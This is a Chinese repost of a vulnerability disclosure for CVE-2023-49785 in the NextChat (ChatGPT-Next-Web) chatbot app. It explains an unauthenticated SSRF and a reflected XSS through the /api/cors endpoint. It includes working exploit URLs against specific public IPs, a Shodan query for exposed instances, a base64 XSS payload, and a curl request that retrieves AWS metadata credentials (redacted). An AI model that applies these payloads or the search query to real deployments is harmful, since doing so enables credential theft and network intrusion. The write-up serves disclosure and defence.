专栏名称: 利刃信安
利刃信安
目录
相关文章推荐
高分子科技  ·  封伟教授团队 Adv. ... ·  15 小时前  
高分子科学前沿  ·  中国科学院理化技术研究所王树涛/孟靖昕团队《 ... ·  18 小时前  
高分子科学前沿  ·  中国青年学者一作兼通讯!3D打印,最新Sci ... ·  2 天前  
高分子科技  ·  中科院纳米能源所张弛研究员团队 ACS ... ·  4 天前  
高分子科技  ·  华南师范大学胡小文 ... ·  3 天前  
51好读  ›  专栏  ›  利刃信安

【大模型安全】ChatGPT-Next-Web存在SSRF和反射型XSS

利刃信安  · 公众号  ·  · 2024-03-26 05:38

正文

ChatGPT-Next-Web存在SSRF和反射型XSS

随着生成式人工智能的出现,人工智能聊天机器人无处不在。虽然用户可以使用 OpenAI 等 SaaS 提供商与大语言模型 (LLM) 聊天,但也有许多独立的聊天机器人应用程序可供用户部署和使用。这些独立应用程序通常提供比 OpenAI 更丰富的用户界面、附加功能,例如插入和测试不同模型的能力,以及潜在绕过 IP 块限制的能力。

根据我们的研究,部署最广泛的独立 Gen AI 聊天机器人是NextChat,又名 ChatGPT-Next-Web。这是一个拥有 63K+ 星和 52K+ 分叉的 GitHub 项目。Shodan 查询  title:NextChat,"ChatGPT Next Web"提取了 7500 多个暴露实例,其中大部分位于中国和美国。

此应用程序容易受到严重的全读服务器端请求伪造 (SSRF) 漏洞CVE-2023-49785的影响,我们于 2023 年 11 月向供应商披露了该漏洞。截至撰写本文时,还没有针对该漏洞的补丁。自我们最初披露以来已经过去了 90 多天,我们现在在此发布完整的详细信息。

SSRF + XSS
SSRF
http://13.114.69.93:8000/api/cors/http:%2f%2f169.254.169.254/latest/meta-data/hostname%23
alscwakcnm.dgrh3.cn
http://13.114.69.93:8000/api/cors/http:%2f%2falscwakcnm.dgrh3.cn%23
XSS
http://13.114.69.93:8000/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23
SSRF + XSS


CVE-2023-49785:超级 SSRF

NextChat 是一个基于 Next.js 的 Javascript 应用程序,其大部分功能都是作为客户端代码实现的。

然而,有一些暴露的服务器端点。这些端点之一位于/api/cors,它按照设计作为开放代理运行,允许未经身份验证的用户通过它发送任意 HTTP 请求。添加此端点似乎是为了支持将客户端聊天数据保存到 WebDAV 服务器。此端点的存在是一种反模式:它允许客户端通过服务器端端点访问跨域资源,从而绕过内置的浏览器保护。

例如,要通过此代理访问 Google,可以发出以下请求:

SSRF 漏洞在现实世界的影响方面差异很大。这个特殊的 SSRF 几乎是最糟糕的。这很危险,因为:

  • 它允许访问任意 HTTP 端点,包括任何内部端点

  • 它返回来自任何访问的 HTTP 端点的完整响应

  • 它通过设置标头支持任意 HTTP 方法,例如 POST、PUT 等method。请求主体也会被传递。

  • URL 查询参数可以与 URL 编码一起传递。

  • 它支持在请求中传递Authorization标头。

如果此应用程序暴露在 Internet 上,则攻击者基本上可以完全访问与该应用程序在同一内部网络中可访问的任何其他 HTTP 资源。唯一的限制是传递其他标头,例如Cookie或Content-Type,尽管可能有创造性的方法来注入这些标头。

以下是访问 AWS 云元数据服务以从启用了 IMDSv1 的 AWS EC2 实例检索 AWS 访问密钥的示例:

sh-3.2# curl http://54.145.48.76:3000/api/cors/http/169.254.169.254/latest/meta-data/iam/security-credentials/REDACTED{ "Code" : "Success", "LastUpdated" : "2024-03-08T00:22:17Z", "Type" : "AWS-HMAC", "AccessKeyId" : "ASIA-REDACTED", "SecretAccessKey" : "C2CW-REDACTED", "Token" : "IQoJb3JpZ2luX2VjENH-REDACTED", "Expiration" : "2024-03-08T06:58:15Z"}

反射型 XSS

几乎所有反映的 XSS 漏洞对攻击者来说价值不大。但我们认为有趣的是,该漏洞可用于直接触发 XSS,而无需加载其他站点。这是因为端点fetch使用的方法/api/cors也支持该data协议。


例如,以下有效负载:

data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23<script>alert(document.domain)script>

将在服务器处解码并发送回客户端,从而导致 XSS:

缓解措施

我们对此漏洞的评估得出的 CVE 基本评分为9.1(严重)。该漏洞不仅允许对内部 HTTP 端点进行读取访问,还允许使用 HTTP POST、PUT 和其他方法进行写入访问。攻击者还可以利用此漏洞通过这些开放代理转发针对其他互联网目标的恶意流量,从而掩盖其源 IP。

截至撰写本文时,还没有针对该漏洞的补丁。距离我们最初的联系已经过去了 90 多天。

  • 2023 年 11 月 25 日:Horizon3通过 GitHub 漏洞披露流程向ChatGPT-Next-Web报告安全问题







请到「今天看啥」查看全文